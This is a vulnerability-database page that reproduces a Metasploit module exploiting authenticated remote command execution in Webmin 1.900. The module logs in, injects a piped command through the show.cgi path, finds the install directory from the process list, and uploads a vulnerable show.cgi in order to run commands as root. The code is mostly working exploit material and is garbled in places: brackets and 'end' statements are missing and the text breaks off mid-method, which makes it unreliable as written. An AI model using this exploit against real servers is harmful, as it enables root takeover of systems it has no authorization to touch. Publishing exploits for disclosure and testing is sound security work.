发布 2019-01-18 漏洞条目

Webmin 1.900 – Remote Command Execution (Metasploit)

Exploit Source

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

require 'uri'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Webmin 1.900 - Remote Command Execution',

'Description' => %q{

This module exploits an arbitrary command execution vulnerability in Webmin

1.900 and lower versions. Any user authorized to the "Java file manager"

and "Upload and Download" fields, to execute arbitrary commands with root privileges.

In addition, "Running Processes" field must be authorized to discover the directory to be uploaded.

A vulnerable file can be printed on the original files of the Webmin application.

The vulberable file we are uploading should be integrated with the application.

Therefore, a ".cgi" file with the vulnerability belong to webmin application should be used.

The module has been tested successfully with Webmin 1900 over Debian 4.9.18.

'Author' => [

'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module

'License' => MSF_LICENSE,

'References' =>

[

['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']

'Privileged' => true,

'Payload' =>

{

'DisableNops' => true,

'Space' => 512,

'Compat' =>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl ruby python telnet',

}

'Platform' => 'unix',

'Arch' => ARCH_CMD,

'Targets' => [[ 'Webmin <= 1.900', { }]],

'DisclosureDate' => 'Jan 17 2019',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(10000),

OptBool.new('SSL', [true, 'Use SSL', true]),

OptString.new('USERNAME', [true, 'Webmin Username']),

OptString.new('PASSWORD', [true, 'Webmin Password'])

], self.class)

end

# Target and input verification

def check

peer = "#{rhost}:#{rport}"

vprint_status("Attempting to login...")

data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

res = send_request_cgi(

{

'method' => 'POST',

'uri' => "/session_login.cgi",

'cookie' => "testing=1",

'data' => data

}, 25)

if res and res.code == 302 and res.get_cookies =~ /sid/

vprint_good "Login successful"

session = res.get_cookies.split("sid=")[1].split(";")[0]

else

vprint_error "Service found, but login failed"

return Exploit::CheckCode::Detected

end

vprint_status("Attempting to execute...")

command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"

res = send_request_cgi(

{

'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",

'cookie' => "sid=#{session}"

}, 25)

if res and res.code == 200 and res.message =~ /Document follows/

return Exploit::CheckCode::Vulnerable

else

return Exploit::CheckCode::Safe

end

# Exploiting phase

def exploit

peer = "#{rhost}:#{rport}"

print_status("Attempting to login...")

data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

res = send_request_cgi(

{

'method' => 'POST',

'uri' => "/session_login.cgi",

'cookie' => "testing=1",

'data' => data

}, 25)

if res and res.code == 302 and res.get_cookies =~ /sid/

session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''

if session and not session.empty?

print_good "Login successfully"

else

print_error "Authentication failed"

return

end

else

print_error "Authentication failed"

return

end

# Directory and SSL verification for referer

ps = "#{datastore['SSL']}"

if ps == "true"

ssl = "https://"

else

ssl = "http://"

end

print_status("Target URL => #{ssl}#{peer}")

res1 = send_request_raw(

{

'method' => "POST",

'uri' => "/proc/index_tree.cgi?",

'headers' =>

{

'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1",

'cookie' => "redirect=1; testing=1; sid=#{session}"

})

if res1 and res1.code == 200 and res1.body =~ /Running Processes/

print_status "Searching for directory to upload..."

stpdir = res1.body.scan(/perl.+miniserv.pl/).map{ |s| s.split("perl ").last }.map{ |d| d.split("miniserv").first }.map{ |d| d.split("miniserv").first }

dir = stpdir[0] + "file"

print_good("Directory to upload => #{dir}")

else

print_error "No access to processes or no upload directory found."

return

end

# Loading phase of the vulnerable file

boundary = Rex::Text.rand_text_alphanumeric(29)

data2 = "-----------------------------{boundary}\r\n"

data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"

data2 << "Content-Type: application/octet-stream\r\n\r\n"

data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"

data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"

data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"

data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"

data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"

data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"

data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"

data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"

data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"

data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"

data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"

data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"

data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"

data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"

data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"

data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"

data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"

data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"

data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"

data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"

data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"

data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"

data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"

data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"

data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"

data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"

data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"

data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"

data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"

data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"

data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"

data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"

data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"

data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"

data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"

data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"

data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"

data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"

data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"

data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"

data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"

data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"

data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"

data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"

data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"

data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"

data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"

data2 << "\r\n\r\n"